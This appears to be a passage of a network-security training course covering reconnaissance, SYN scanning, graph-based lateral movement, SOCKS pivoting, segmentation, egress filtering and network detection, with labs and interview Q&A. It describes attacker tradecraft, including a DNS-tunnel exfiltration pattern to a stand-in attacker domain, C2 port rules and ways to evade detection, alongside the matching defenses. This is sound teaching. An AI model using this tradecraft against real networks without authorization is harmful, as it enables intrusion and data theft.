Engagement significance. Lateral movement in Meridian's Windows estate (Phase 05) is built on these transports. Phase 03's contribution is the reachability and segmentation that decide whether the attacker can even reach the hosts to ride SMB/NTLM/Kerberos at all — which is exactly what Labs 01–02 model.

Common misconception. "Kerberos is unbreakable, so the network is safe." Kerberos is strong, but weak service-account passwords are crackable offline from a normal ticket request, and NTLM (still enabled almost everywhere) is relayable. The protocol is not the whole story; the configuration and the network position are.

Chapter 4: Reconnaissance — Passive vs Active, and the Legal Line

Zero background. Before attacking anything, you learn about it. Reconnaissance is that learning. There are two kinds, and the difference between them is not academic — it is the legal and authorization boundary that separates security research from an offense.

What it is.

• Passive reconnaissance — learning without interacting with the target's systems. You query public, third-party data: DNS records, certificate-transparency logs, passive-DNS datasets, WHOIS, search engines, leaked-credential dumps, the target's own public website, employees' public profiles (OSINT). The target's servers never receive a packet from you.
• Active reconnaissance — interacting with the target's systems: port scanning, banner grabbing, zone transfers, probing a login page, vulnerability scanning. The target receives your traffic and could log it.

Why the distinction matters. Passive recon is generally lawful and OPSEC-quiet (no traffic to the target). Active recon touches systems you may not be authorized to touch — and in most jurisdictions, unauthorized interaction with a computer system is a crime regardless of intent (unauthorized-access statutes). The line is not "did I cause harm"; it is "did I have authorization to interact."

The authorization line (the Phase 00 rule, restated for the network).

PASSIVE (public data, no target traffic)        →  generally fine; still record scope and purpose
ACTIVE (packets hit the target's systems)        →  ONLY with written authorization
                                                    (signed engagement / ROE, a CTF, a VRP with
                                                     safe-harbor scope) OR a system you own

You never scan a host "because it is reachable." Reachability is not authorization. Before any active recon you must name the owner, scope, methods, rate limits, time window, stop conditions, and deconfliction contact (Phase 00). In Operation Cedar Lattice, that authorization is the engagement contract with Meridian; in this repo, all labs are synthetic, so there is no target to scan at all.

Under the hood — what good passive recon yields. From public DNS + CT + WHOIS + OSINT you can often reconstruct most of an org's external surface: subdomains (vpn., mail., dev.), IP ranges, mail and SaaS providers, the email-auth posture, technology fingerprints, and likely usernames — all without sending the target a single packet.

Telemetry it emits. Passive recon emits nothing the target can see (that is the point) — but it leaves traces in the third-party services you query, and active recon emits plenty: scan traffic in the target's netflow, failed logins, IDS alerts, and AXFR attempts in DNS logs.

How a defender detects it. A defender cannot detect passive recon directly, so they reduce attack-surface exposure (minimize public records, monitor CT logs for lookalike domains, watch for their brand in leak datasets). Active recon they detect with scan-detection analytics (Chapter 5) and AXFR-attempt logging.

Engagement significance. Phase 03's external-recon step against Meridian is passive-first: build the surface map from public data, then do authorized active scanning to confirm reachability — and every active step is paired with its scan-detection so you can tell Meridian what their sensors should have seen.

Common misconception. "It's just a port scan, that's not illegal." Unauthorized scanning of systems you do not own can be unlawful and is, at minimum, a scope violation. Authorization — not the benignity of the technique — is the line.

Chapter 5: Scanning Theory — TCP States, SYN Scans, Rate vs Stealth

Zero background. To know which services exist on a host, you probe its ports. A port is open, closed, or filtered. Scanning is the systematic discovery of that state across hosts and ports. To understand scanning you must understand the TCP connection state machine, because scans are clever manipulations of it.

What it is — the TCP three-way handshake. A normal TCP connection opens like this:

client ──SYN──►        server      "I want to connect"
client ◄─SYN/ACK─       server      "ok, here's my sequence" (port is OPEN and listening)
client ──ACK──►        server      "great, connected"        (full connection established)

If the port is closed, the server replies RST (reset). If a firewall filters the port, the client gets nothing (the SYN is dropped) — so "no answer" means filtered.

Why a SYN scan ("half-open"). A full connect scan completes the handshake (SYN → SYN/ACK → ACK), which the application accepts and logs. A SYN scan sends the SYN, reads the reply, and then sends RST instead of ACK — it never completes the connection:

SYN scan:   scanner ──SYN──► port
            port ◄─SYN/ACK─ scanner   → OPEN   (scanner replies RST, tears down before connecting)
            port ◄──RST───  scanner   → CLOSED
            port  (no reply)          → FILTERED

Because the connection never fully opens, the application often never logs it (only the network stack saw it), and it is faster. That is the classic "stealth" rationale — but "the app didn't log it" is not "nobody saw it" (below).

Why rate vs stealth is a real tradeoff. You can scan fast (thousands of packets per second, like masscan) or slow and randomized. The tradeoff:

There is no "invisible" scan. A scan is, by definition, one source touching many destinations/ports in a short window — which is a shape in netflow that no payload trick hides. Stealth scanning manages how loud, not whether.

Under the hood — scan types in one table:

Telemetry it emits. A scan is loud at L3/L4: in netflow it is a fan-out — one source IP, many destination IPs and/or many destination ports, many tiny flows, often with high RST or no-response ratios. IDS (Suricata) has explicit scan-detection rules; Zeek's conn.log plus a scan-detection script flags it.

How a defender detects it. Threshold on connections-per-source-per-window across distinct destinations/ports; alert on high RST ratios and SYN-without-completion. The control is deny-by-default segmentation (Chapter 8): if the scanner can only reach its own segment, the scan reveals nothing valuable, and the cross-segment scan attempt is itself an alert.

Engagement significance. In Phase 03 you scan Meridian's authorized scope to confirm reachability for the pivot map — and you pair every scan with its netflow/IDS detection so Meridian learns where their scan-detection failed. The rate-vs-stealth choice is an OPSEC decision recorded in the run sheet.

Common misconception. "A SYN scan is undetectable." It avoids application logging, not network detection. The netflow fan-out is the signature; "stealth" scanning only changes how quickly you cross a threshold.

Chapter 6: Lateral Movement as Reachability Over a Graph

Zero background. One foothold is never the goal. Lateral movement is spreading from the first compromised host toward the objective (the database, the domain controller, the backup server). The key mental shift in this phase: lateral movement is a graph problem.

What it is. Model the network as a directed graph:

• Nodes are hosts (and, in richer models, identities/credentials).
• A directed edge A -> B means an attacker who controls A can reach B — because A and B are network-adjacent and the attacker holds the credential or route that enables the hop (an open firewall path plus a reused local-admin password, a stored SSH key, a SOCKS proxy through a multi-homed host).

   [vpn] ──► [jumphost] ──► [fileserver] ──► [erp_db]
                  │
                  └────────► [appserver] ──► [dc]

Why model it as a graph. Three questions fall straight out of graph theory, and they are exactly the Lab-01 API:

1. Blast radius — what can I reach from the foothold? A breadth-first search from start gives the reachable set. (reachable(graph, start).)
2. The best route — what is the cheapest path to the target? Put a cost on each edge (detection-risk + effort) and run Dijkstra. The cheapest path is the quietest, not the fewest-hops. (shortest_path(graph, start, target).)
3. The choke point — which single host, if removed, disconnects the foothold from the target? Those are the articulation points / dominators — remove each candidate and re-test reachability. (choke_points(graph, start, target).)

Under the hood — why offense and defense are the same algorithm. The attacker runs the BFS/Dijkstra to find a path. The defender runs the same search to find the cut: the choke point is the host whose every-path-passes-through property makes it the highest-leverage place to segment or harden. BloodHound (offense) and attack-path analysis (defense) are one algorithm — and so is Lab 01.

attacker view:  "BFS from foothold → I reach the dc via jumphost→appserver"
defender view:  "remove appserver → the dc is no longer reachable → appserver is a choke point → segment it"
SAME GRAPH, SAME SEARCH, opposite goal.

Why cost matters. A real operator does not take the shortest path; they take the quietest path that reaches the goal. Encoding detection-risk as edge cost (a monitored noisy SMB-admin hop costs more than a quiet allow-listed SSH hop) makes Dijkstra return the route an OPSEC-disciplined attacker actually uses — which is also the route a defender most wants to instrument.

Telemetry it emits. Lateral movement is east-west traffic — internal host-to-host flows on service ports (445, 3389, 5985, 22). In a normally hub-and-spoke network (clients talk to servers, not to each other), a host suddenly initiating connections to many internal peers is a netflow anomaly. Authentication telemetry (EID 4624 type 3) corroborates it.

How a defender detects it. East-west netflow analytics (a workstation that starts behaving like a scanner/jump host), lateral-movement analytics on logon events, and — structurally — segmentation so most hops are simply impossible. The choke point is the defender's deliverable: cut it.

Engagement significance. The internal pivot map of Meridian is precisely this graph. Lab 01 builds the planner; the map plus the choke-point list is the Phase 03 portfolio artifact; Lab 02 turns the choke point into the firewall rule.

Common misconception. "Reachability is a list of hosts." Reachability without the path, the cost, and the choke point is half the answer. The graph — not the list — is what lets you both attack and defend.

Chapter 7: Pivoting and Tunneling — SOCKS, Port-Forwarding, chisel/ligolo

Zero background. The attacker's machine usually cannot directly reach the deep internal segments — that is the whole point of segmentation. A pivot is the technique that borrows a compromised host's network position to reach further. Tunneling is the mechanism that carries the pivot's traffic. In graph terms: a pivot adds an edge to the reachability graph.

What it is — the three forwards. Using SSH (the canonical example; the same concepts apply to chisel, ligolo, Meterpreter, etc.):

What is a SOCKS proxy. SOCKS (RFC 1928) is a simple protocol where a client says "connect me to host:port" and the proxy makes the connection on its behalf, then relays bytes both ways. A dynamic SOCKS pivot means: I run a SOCKS server on (or tunneled from) the compromised pivot, point my tools at it (proxychains nmap, a browser, my scanner), and every connection now originates from the pivot's network position. In graph terms, the SOCKS pivot gives my machine all the pivot's outgoing edges.

my box ──(encrypted tunnel)──► [pivot, multi-homed] ──► internal segment (192.168.50.0/24)
   proxychains/SOCKS                 the pivot makes the real connection; I just relay through it
   ⇒ graph effect: add edges (my_box → everything the pivot can reach)

What chisel / ligolo are (conceptually). When SSH is not available, operators use purpose-built tunnelers:

• chisel — a fast TCP/UDP tunnel over HTTP/WebSocket; useful when only web ports egress. It builds the same local/remote/SOCKS forwards over an HTTP-looking channel.
• ligolo-ng — creates a TUN interface so the operator's box routes into the target segment as if natively connected (no proxychains needency); very clean, very effective.

In this repo these are concepts only — Lab 01 models the reachability a pivot creates; it does not build a tunnel. On the owned range (HITCHHIKER'S GUIDE) you stand up a real pivot to observe its telemetry, never against anything you do not own.

Why it exists / why it works. Segmentation blocks direct paths but usually allows a compromised internal host to talk to its neighbors (that is its job). The pivot inherits that allowed position. The defense is therefore not "block the tunnel protocol" (it hides in HTTP/SSH) but segment so the pivot host itself cannot reach much, and detect the pivot's traffic shape.

Telemetry it emits — a pivot is loud if you know the shape. A SOCKS/tunnel pivot has a recognizable signature:

• One internal host becomes a connection hub — many outbound connections to many internal peers from a host that normally talks to few. (East-west netflow fan-out — same shape as a scan.)
• Long-lived connections — the tunnel itself is a persistent connection (often to the operator's box or C2), unlike normal short request/response flows.
• Multiplexing — many logical streams over one transport; byte counts and timing look unlike a normal single application.
• chisel/ligolo over HTTP — "HTTP" connections that are long-lived, high-volume, and bidirectional, unlike real web browsing (a JA3/JA4 and behavioral mismatch).

How a defender detects it. Zeek conn.log + netflow analytics: flag internal hosts whose connection fan-out or long-lived-connection count spikes; flag "HTTP" sessions whose duration/volume profile is unlike browsing; correlate with the egress channel (Chapter 9). The structural control is segmentation + egress filtering so the pivot has few edges to inherit and no clean way home.

Engagement significance. The foothold-VPN-to-internal-pivot step of Operation Cedar Lattice is this chapter. Lab 01 plans which pivot edge buys the most reachability (and the cheapest path it enables); the HITCHHIKER'S GUIDE builds one on the owned range and watches the netflow it makes.

Common misconceptions. "A tunnel inside TLS/HTTP is invisible." The content is hidden; the behavioral shape (long-lived, high-volume, fan-out, multiplexed) is not. "Pivoting is exotic hacking." Pivoting is ordinary graph traversal — a pivot just adds edges; the cleverness is OPSEC, not magic.

Chapter 8: Network Segmentation — VLANs, ACLs, Zero-Trust, Microsegmentation

Zero background. A flat network — where every host can reach every other host — is an attacker's dream: one foothold reaches everything (the graph is fully connected). Segmentation is the practice of breaking that graph into zones so a compromise in one zone cannot freely reach another. It is the single most important structural network control against lateral movement.

What it is — the toolbox, coarse to fine:

Why it exists. Segmentation directly attacks the lateral-movement graph from Chapter 6: every deny rule removes edges. A well-segmented network is a graph where the foothold's reachable set is small and every path to the crown jewels passes through a few choke points you have hardened and instrumented. The goal is to make the attacker's BFS return almost nothing.

Under the hood — segmentation as graph surgery. Recall Lab 01: the choke point is the node whose removal disconnects foothold from target. A segmentation policy is the act of removing that node's edges with an ACL. Lab 02's blocks_path literally checks whether the firewall ruleset denies a hop on a proposed lateral path — i.e. whether the segmentation policy cut the edge.

flat network:        foothold reaches EVERYTHING (one big connected component)
segmented network:   foothold ──► its zone only ──[choke: jump host, ACL-controlled]──► server zone
                     every cross-zone hop must pass an explicit allow rule (deny-by-default)

Zero-trust, precisely. Zero-trust (NIST SP 800-207) drops the assumption that "inside the perimeter = trusted." Every access is authenticated, authorized, and encrypted per request, regardless of network location. In graph terms, an edge no longer exists just because two hosts are adjacent — it exists only when this identity is authorized for this resource right now. That collapses the attacker's inherited reachability dramatically.

Telemetry it emits. Segmentation itself is a control, but it produces detection value: every denied cross-zone flow is an alert-worthy event (someone tried a hop the policy forbids). A spike in denied flows from one host is a strong lateral-movement signal.

How a defender detects (and verifies) it. Beyond logging denies, you verify effective state: actually test that the path is blocked (Lab 02's blocks_path, and on the range, an authorized probe that confirms the hop fails). Intended config is not effective config — a rule can exist and be shadowed by an earlier any-any allow.

Engagement significance. The Phase 03 deliverable includes the segmentation policy that breaks Meridian's foothold-to-crown-jewel path. The choke points from Lab 01 become the deny rules in Lab 02; blocks_path proves the path is closed and that legitimate traffic still flows (regression).

Common misconceptions. "We have VLANs, so we're segmented." VLANs separate broadcast domains but do nothing without ACLs between them — inter-VLAN routing can leave the graph fully connected. "Internal traffic is trusted." That assumption is exactly what zero-trust deletes; flat-internal trust is how one phish becomes domain-wide compromise.

Chapter 9: Egress Filtering and Allow-Listing

Zero background. Segmentation (Chapter 8) controls internal (east-west) movement. Egress filtering controls outbound (north-south) traffic — what the inside is allowed to send to the internet. It is the control that catches the attacker's lifeline: command-and-control and exfiltration both have to leave the network.

What it is. Most networks allow almost anything outbound ("the inside is trusted to reach the internet"). Egress filtering inverts that to deny-by-default outbound, allowing only an explicit allow-list: outbound DNS to the enterprise resolver, web traffic to tcp/80/tcp/443 through a logging proxy, and specific business destinations. Everything else is denied and logged.

Why it exists. Every C2 channel and every exfil path is outbound. If the only way out is a logged proxy on standard ports, then:

• A beacon to tcp/4444 on a random internet host is denied and alerted — it had nowhere to go.
• A beacon hiding in tcp/443 must go through the proxy, where its destination, volume, periodicity, and TLS fingerprint are logged and analyzable.
• DNS tunneling has to use the enterprise resolver (logged for entropy/volume) because direct udp/53 egress is blocked.

Egress filtering does not stop a determined attacker from finding a channel — but it forces them onto a small set of monitored paths, which is exactly what turns C2 from invisible into detectable. This is the highest-leverage north-south network control.

Under the hood — the over-permissive rules an analyzer flags (Lab 02). The classic holes:

allow any  any        any        →  "any-any" — the entire egress policy is a no-op
allow user internet   4444/tcp   →  broad egress on a non-standard port — textbook C2 channel
allow dmz  internet   any        →  egress on ANY port to the internet — exfil channel wide open
allow srv  internet   443/tcp    →  FINE (standard egress; still route via proxy + log)

Lab 02's over_permissive flags the first three; egress_findings recommends the tightened allow-list (pin egress to tcp/443,tcp/80,udp/53 via the proxy; deny + log the rest).

Telemetry it emits. Egress filtering produces three high-value signals: (1) denied egress events (a host tried to reach the internet on a forbidden port — investigate); (2) proxy logs of all allowed web egress (destination, bytes, frequency — the beacon-detection substrate); (3) DNS logs from the forced resolver (the tunnel-detection substrate).

How a defender detects what gets through. Even with egress on tcp/443 only, the behavioral signals remain: beacon periodicity (regular call-home intervals), long-lived/high-volume flows to rare destinations, JA3/JA4 TLS fingerprints that match known tooling, DNS entropy/volume (Chapter 2). These are the Chapter-10 detections.

Engagement significance. The Phase 03 deliverable's egress allow-list is what would have caught FIN-LATTICE's beacon. The C2 phase (Phase 08) returns here: the malleable profile is designed to blend into allowed egress, and the detection is exactly the proxy/DNS/JA3 analytics this chapter sets up.

Common misconceptions. "We have a firewall, so egress is controlled." A firewall with allow any any outbound controls nothing. "Blocking outbound breaks everything." A correct allow-list permits all legitimate business egress; what breaks is the attacker's odd-port beacon — which is the point.

Chapter 10: Network Telemetry — Netflow, DNS, Proxy, Zeek, Suricata

Zero background. Everything in this phase ends here: the sensors that turn an attacker's network moves into detectable events. You cannot pair an offensive technique with its detection if you do not know what each sensor records.

The four sensor families.

Under the hood — what each detection actually measures.

• Scan in netflow: one source, many distinct destinations/ports, many tiny flows, high RST or no-response ratio, all in a short window. Threshold on distinct-destinations-per-source-per-minute.
• Lateral movement in netflow: a host whose east-west connection fan-out spikes (a workstation that starts initiating to many internal peers) — the Chapter-6 anomaly.
• Beacon in netflow/proxy: periodicity — regularly-spaced connections to one destination (compute inter-arrival times; low variance = beacon), often small request / variable response, to a rare destination. Jitter in the malleable profile widens the variance to evade this — so you also use destination rarity and JA3/JA4.
• DNS tunnel in DNS logs: high per-host query rate to one zone; high mean label entropy (encoded data looks random); long names; unusual record-type mix (TXT/NULL); many unique subdomains.
• TLS fingerprint: JA3/JA4 hashes the TLS client-hello parameters; tooling often has a stable, recognizable fingerprint even inside encrypted tcp/443.

Zeek concretely. Zeek passively parses traffic into logs you can detect on:

conn.log   one line per connection: hosts, ports, proto, duration, bytes  → scans, beacons, lateral, pivots
dns.log    every DNS query/response, query length, record type            → tunneling, DGA, AXFR
http.log   requests, hosts, user-agents, status                            → web C2, odd user-agents
ssl.log    TLS handshakes, SNI, JA3/JA4                                    → fingerprinted tooling in 443
notice.log Zeek scripts raise notices (e.g. scan detected)                 → packaged detections

Suricata concretely. A signature/protocol IDS: rules match known-bad patterns (e.g. a scan signature, a known C2 user-agent, a protocol anomaly) and emit alerts. Complementary to Zeek's behavioral logs — signatures catch the known, Zeek's metadata catches the novel.

How to think about it (the Pyramid of Pain, network edition). Blocking an IP or hash costs the adversary minutes. Detecting a TTP — the shape of a scan, a pivot's fan-out, a beacon's periodicity, a tunnel's entropy — costs them a redesign. Aim your detections at the behavioral shape, not the throwaway indicator.

How a defender operationalizes it. Collect netflow at the segment boundaries and the egress edge; force DNS through the logged resolver; force web egress through the logged proxy; run Zeek on the span ports and Suricata on the perimeter; write detections on shape (rate, fan-out, periodicity, entropy, rarity) and corroborate across sensors.

Engagement significance. This chapter is the detection half of the entire phase. Every Phase-03 offensive step — recon, scan, pivot, DNS tunnel, beacon, exfil — maps to one or more rows above, and the Phase-03 portfolio artifact's network-detection matrix is exactly that mapping. The labs encode the controls (Lab 02's egress allow-list) whose purpose is to funnel traffic into these sensors.

Common misconceptions. "Encryption blinds the sensors." It blinds L7 content parsing, not L3/L4 metadata, timing, volume, JA3/JA4, or DNS. "One alert is a detection." Robust network detection is correlation across netflow + DNS + proxy + Zeek; any single signal is noise.

Lab Walkthrough Guidance

Tackle the two labs in order — they compose into one attacker-and-defender story over the same graph.

Lab 01 — Pivot / Attack-Path Planner (Chapters 6–7). Implement in this order:

1. Graph.nodes() — the set of all node names (warm-up; you need it for choke points).
2. reachable(graph, start, exclude=None) — BFS the blast radius. Get the exclude semantics right: it drops every edge touching the excluded host, and exclude == start returns empty. This one function powers everything else.
3. reaches / reachable_targets — thin wrappers over reachable.
4. shortest_path — Dijkstra over edge cost. Push the node name into the heap tuple so ties break deterministically; return (path, total_cost); start == target is ((start,), 0).
5. choke_points — for each candidate host (not start/target), re-run reachable with that host excluded; if the target becomes unreachable, it is a choke point. Sort the output.

Then read the tests: shortest_path must pick the cheapest, not fewest-hop route; the DC's choke points include the app server (only path) but the ERP database's do not (it has a second path). That contrast is the whole lesson.

Lab 02 — Segmentation & Egress Analyzer (Chapters 8–9). Implement in this order:

1. flow_permitted — deny-by-default, first-match-wins; wildcards (any/*) match anything; no match means denied. This is the firewall's core decision; everything builds on it.
2. over_permissive — flag any-any, broad-egress (internet on a non-standard/wildcard port), and wildcard-port. Return index-ordered {index, rule, reason}.
3. blocks_path / first_blocked_hop — a path is blocked iff any hop is not permitted.
4. egress_findings — turn the over-permissive egress rules into allow-list recommendations.

The composition test is the payoff: the segmented ruleset permits Lab 01's designed pivot path but blocks the direct shortcut, and removing one allow rule breaks the path at a specific hop — that is segmentation turning a choke point into a control.

Success Criteria

You have understood this phase — not just passed the tests — when you can, without notes:

• Name, for each network layer, what an attacker learns and which sensor sees it.
• Explain DNS resolution and articulate DNS-as-recon, DNS-as-tunnel, and DNS-as-detection, including exactly what you measure to catch a tunnel (entropy, volume, record mix, unique subdomains).
• Walk the TCP handshake and state machine and explain why a SYN scan avoids app logging but not netflow detection, and why rate-vs-stealth is a real OPSEC tradeoff with no "invisible" option.
• Explain why lateral movement, a pivot, and a defender's choke-point analysis are the same graph, and compute reachability, the cheapest path, and the choke point by hand on a small graph.
• Distinguish local/remote/dynamic forwarding and explain a SOCKS pivot as "inheriting the pivot's edges," and name the netflow/Zeek shape that catches it.
• Design a segmentation + egress policy that breaks a given lateral path, and verify it blocks the path while legitimate traffic still flows.
• Pair every offensive step in the phase with a concrete network detection on shape (rate, fan-out, periodicity, entropy, rarity), not a throwaway indicator.
• State the passive/active recon boundary and the authorization line precisely.

Common Mistakes and OPSEC Failures

• Scanning at full rate. A full-rate scan is a netflow fan-out that any IDS flags instantly. Choose the rate deliberately and record it in the run sheet; there is no invisible scan.
• Treating a SYN scan as undetectable. It dodges application logs, not network detection.
• Crossing the recon authorization line. Passive OSINT is not active scanning. Never touch a host because it is reachable; the boundary is written authorization. (In this repo: all data is synthetic.)
• Forgetting a pivot is loud. A SOCKS/tunnel pivot makes one internal host a connection hub with long-lived, multiplexed, high-fan-out traffic — a textbook detection you must account for.
• Tunneling over DNS and assuming stealth. DNS tunneling is among the most detectable channels; the encoded names are statistically obvious.
• Building C2 over broad egress. An odd-port beacon dies the moment egress is deny-by-default; even a 443 beacon is logged by the proxy. Assume the egress edge is instrumented.
• Mapping reachability as a list. Without the path, the cost, and the choke point, you cannot attack or defend. The graph is the deliverable.
• Claiming segmentation from VLANs alone. VLANs without inter-VLAN ACLs leave the graph connected. Verify effective state, not intended config.
• Skipping the detection pairing. A pivot map without its netflow/DNS/proxy/Zeek detection fails this track's bar — the detection is what makes the offensive knowledge a defensible asset.

Interview Q&A

Q1. Walk the TCP three-way handshake and the state machine. Why does a SYN scan work, what does it leave half-open, and how does a defender detect it? A connection opens SYN → SYN/ACK → ACK; the endpoints move through LISTEN, SYN-SENT/SYN-RECEIVED, ESTABLISHED. A SYN scan sends the SYN and reads the reply — SYN/ACK means open, RST means closed, silence means filtered — but then sends RST instead of ACK, so the connection never reaches ESTABLISHED. Because the application's accept() never fires, the app often does not log it; that is the "stealth." But the network stack and any flow collector did see it: a SYN scan is a netflow fan-out — one source, many destinations/ports, tiny flows, high RST/no-response ratio in a short window — which is exactly what scan-detection thresholds and Suricata rules catch. So "stealth" means not application-logged, not undetectable; the rate-vs-stealth choice only changes how fast you cross the threshold.

Q2. Explain DNS resolution. How is DNS used for recon, as a covert C2/tunnel, and as a detection surface — and what exactly do you measure to catch a tunnel? A client asks its recursive resolver, which walks root → TLD → authoritative servers (caching by TTL) to return the record. Recon: public DNS + certificate-transparency + passive-DNS reveal subdomains, mail/SaaS infra, and email-auth posture without touching the target; a misconfigured AXFR dumps the whole zone. Covert channel: because DNS egress is allowed by default and queries traverse the org's resolver to any authoritative server, an attacker encodes data into subdomain labels (base32(chunk).tunnel.attacker.example); they own that authoritative NS, so they receive every label and answer with TXT/CNAME commands — slow but firewall-piercing. Detection: measure per-host query volume to one zone, mean label entropy (encoded labels look random), name length, record-type mix (TXT/NULL heavy), NXDOMAIN bursts (DGA), and unique-subdomain count — from Zeek dns.log. The control is to force DNS through the logged enterprise resolver and block direct udp/53 egress, so there is no path to an external NS that bypasses a sensor.

Q3. What is a pivot? Compare local, remote, and dynamic forwarding, and explain why a pivot is "just reachability over a graph." How does each appear in netflow? A pivot borrows a compromised host's network position to reach segments my own box cannot. Local forward: bind a port on my box that tunnels to one service reachable from the pivot. Remote forward: bind a port on the pivot that tunnels back to my tooling (e.g. a route home for C2). Dynamic (SOCKS): the pivot becomes a SOCKS proxy and any tool routes any connection through it — graph-wise, my box inherits all the pivot's outgoing edges. So a pivot is literally adding edges to the reachability graph; lateral movement is graph traversal. In netflow, a SOCKS/tunnel pivot turns one internal host into a connection hub — high east-west fan-out, long-lived multiplexed connections, byte/timing profiles unlike normal apps; chisel/ligolo over HTTP shows up as long-lived high-volume "web" sessions unlike real browsing. The structural defense is segmentation (give the pivot few edges to inherit) plus egress filtering (deny it a clean way home).

Q4. Given a foothold and a target, how do you find the quietest path, and how does a defender find the choke point? Why are those the same algorithm? Model hosts as nodes and "attacker-traversable hop" as directed edges, each weighted by detection-risk + effort. The quietest path is Dijkstra over those costs — not the fewest hops, the least noise. The defender runs the same search: a choke point is a host whose removal makes the target unreachable (re-run reachability with each candidate excluded; it is an articulation point / dominator). Offense finds the path; defense finds the cut; both are BFS/Dijkstra over one graph — which is why BloodHound and attack-path analysis are one algorithm, and why a pivot planner is also a segmentation-planning tool (exactly Lab 01).

Q5. Design the segmentation and egress filtering that stops a lateral path from a VPN foothold to a database. What does deny-by-default egress + an allow-list actually buy you? Segment east-west: put the VPN, DMZ, user, and server zones in separate segments with deny-by-default inter-zone ACLs; allow only the specific designed flows (VPN→DMZ:443, DMZ→server:1521). The choke point from the attack graph (the jump host / app tier) becomes the ACL boundary, and you verify blocks_path denies the direct VPN→server:1521 shortcut while the designed path still works. North-south: deny-by-default egress, allowing only DNS to the resolver and web to 443/80 through a logging proxy. That buys you the detection surface: an odd-port beacon (4444) is denied and alerted; a 443 beacon must traverse the proxy (logged destination/volume/periodicity/JA3); DNS tunneling must use the logged resolver. You have not made C2 impossible — you have forced it onto a few monitored paths, which is what makes it detectable.

Q6. What does SMB/NTLM authentication look like on the wire and in the logs, and what makes a relay or coerced auth detectable? SMB runs on tcp/445; lateral movement over it shows as network logons (EID 4624 type 3), SMB session/named-pipe telemetry, and Zeek smb/dce_rpc logs. NTLM is challenge/response and relayable: if an attacker can coerce a victim to authenticate to them (LLMNR/NBT-NS poisoning, or a coercion technique), they forward that auth to a third server. The tells: LLMNR/NBT-NS responder traffic on the segment, one source authenticating to many targets, and the relay's lateral logons. Defenses: disable LLMNR/NBT-NS (removes the trigger), require SMB signing (breaks relay), and segment so the attacker cannot reach the broadcast domain to poison it — the network-position control is the root fix.

Q7. You suspect C2 in a netflow + DNS + proxy dataset but have no malware sample. What do you hunt, and which signal costs the adversary the most to evade? Hunt on behavioral shape, not indicators: beacon periodicity (low-variance inter-arrival times to one destination), long-lived / high-volume flows to rare destinations, JA3/JA4 TLS fingerprints matching tooling, DNS entropy/volume for tunneling, and east-west fan-out for the pivot that feeds the beacon. On the Pyramid of Pain, blocking the C2 IP/domain costs minutes (they rotate it); detecting the TTP — the beaconing shape, the tunnel's entropy, the pivot's fan-out — costs them a redesign. So prioritize the behavioral detections; corroborate across sensors (a single signal is noise). Jitter widens periodicity variance, so lean on destination rarity + fingerprint + volume together.

Q8. What is the difference between passive and active reconnaissance, and where exactly is the line? Passive recon uses third-party/public data (DNS, CT logs, passive-DNS, WHOIS, OSINT) and never sends the target a packet — generally lawful and invisible to the target. Active recon (port scanning, banner grabbing, AXFR, probing logins) interacts with the target's systems, which they can log — and which, without authorization, is a crime in most jurisdictions regardless of intent. The line is authorization to interact, not whether harm occurred: you never scan a host because it is reachable. Authorized active recon requires a named owner, scope, methods, rate, window, stop conditions, and a deconfliction contact (Phase 00). In this repo there is no target at all — every lab is synthetic metadata.

References

Primary protocol sources

• Kozierok, The TCP/IP Guide — the protocol reference for this phase.
• RFC 1034 / 1035 — DNS concepts and implementation (https://www.rfc-editor.org/rfc/rfc1035).
• RFC 9293 — TCP (https://www.rfc-editor.org/rfc/rfc9293).
• RFC 826 — ARP (https://www.rfc-editor.org/rfc/rfc826).
• RFC 9110 — HTTP semantics (https://www.rfc-editor.org/rfc/rfc9110).
• RFC 4120 — Kerberos V5 (https://www.rfc-editor.org/rfc/rfc4120).
• RFC 1928 — SOCKS protocol version 5 (https://www.rfc-editor.org/rfc/rfc1928).
• Microsoft [MS-SMB2] and [MS-NLMP] (NTLM) protocol specifications.

ATT&CK network techniques

• Discovery: Network Service Discovery (T1046), Remote System Discovery (T1018).
• Lateral Movement: Remote Services (T1021); Use Alternate Authentication Material (T1550).
• Command and Control: Application-Layer Protocol (T1071), Non-Standard Port (T1571), Protocol Tunneling (T1572), Proxy — Internal/External (T1090).
• Exfiltration: Exfiltration Over C2 Channel (T1041), Exfiltration Over Alternative Protocol (T1048).
• Adversary-in-the-Middle (T1557): LLMNR/NBT-NS Poisoning (T1557.001), ARP Cache Poisoning (T1557.002).

Detection and defensive sources

• Zeek documentation — conn, dns, http, ssl, notice logs and the scripting framework (https://docs.zeek.org).
• Suricata documentation — rules and protocol detection (https://docs.suricata.io).
• NIST SP 800-207 — Zero Trust Architecture.
• MITRE D3FEND — the defensive technique mapping (Network Traffic Analysis, Network Isolation).
• David Bianco, The Pyramid of Pain — choosing detections by cost-to-adversary.
• Talks and write-ups on DNS-tunneling detection (entropy/volume) and netflow-based lateral-movement hunting (east-west fan-out, beacon periodicity, JA3/JA4).

(Phase 00 owns the authorization boundary; Phase 05 goes deep on SMB/NTLM/Kerberos; Phase 08 returns to the C2 channel and the proxy/DNS/JA3 detections this phase sets up.)

The Hitchhiker's Guide to Pivoting and Detecting It on the Range

The operator's walkthrough for Phase 03. The WARMUP explains the concepts (the network layers, DNS, the transports, recon, scanning, pivoting-as-graph, segmentation, egress filtering, and the telemetry that catches each). This guide shows you how to do it on your own authorized, isolated range: map the topology, establish a pivot through a multi-homed host, stand up a SOCKS proxy, observe the netflow and DNS the pivot generates, then add a **segmentation ACL

• egress allow-list that breaks it**, and write the Zeek/Suricata detection. Then tear it down.

Authorization is the whole job. Everything here happens on the owned range from the README range diagram, under the Phase 00 Rules of Engagement, with stop conditions and a deconfliction contact named before anything runs. If you cannot name the owner, scope, stop conditions, and deconfliction contact for a step, you do not run it. Nothing here is a live target, a payload, or a weapon — and the labs themselves reason over synthetic metadata only. You build a pivot here to watch its telemetry, never to reach anything you do not own.

0. The loop you are about to run

   map topology  →  pick the multi-homed pivot  →  establish the pivot + SOCKS proxy
        │                                                      │
        ▼                                                      ▼
   plan it first (Lab 01: path + choke point)  ──────►  OBSERVE netflow + DNS the pivot makes
        │                                                      │
        ▼                                                      ▼
   add segmentation ACL + egress allow-list (Lab 02)  →  PROVE the path is broken (re-probe)
        │                                                      │
        ▼                                                      ▼
   write Zeek/Suricata detection  →  evidence packet  →  TEARDOWN (revert snapshots)

This is one pass of network-attack-and-defense over the same graph: plan the pivot, build it safely on owned hosts, watch what it emits, segment the choke point so it breaks, and leave behind the detection that would have caught it.

1. Stand up the authorized range

Use the isolated range from the README. The minimum for this phase is three small segments and a multi-homed pivot host that bridges two of them:

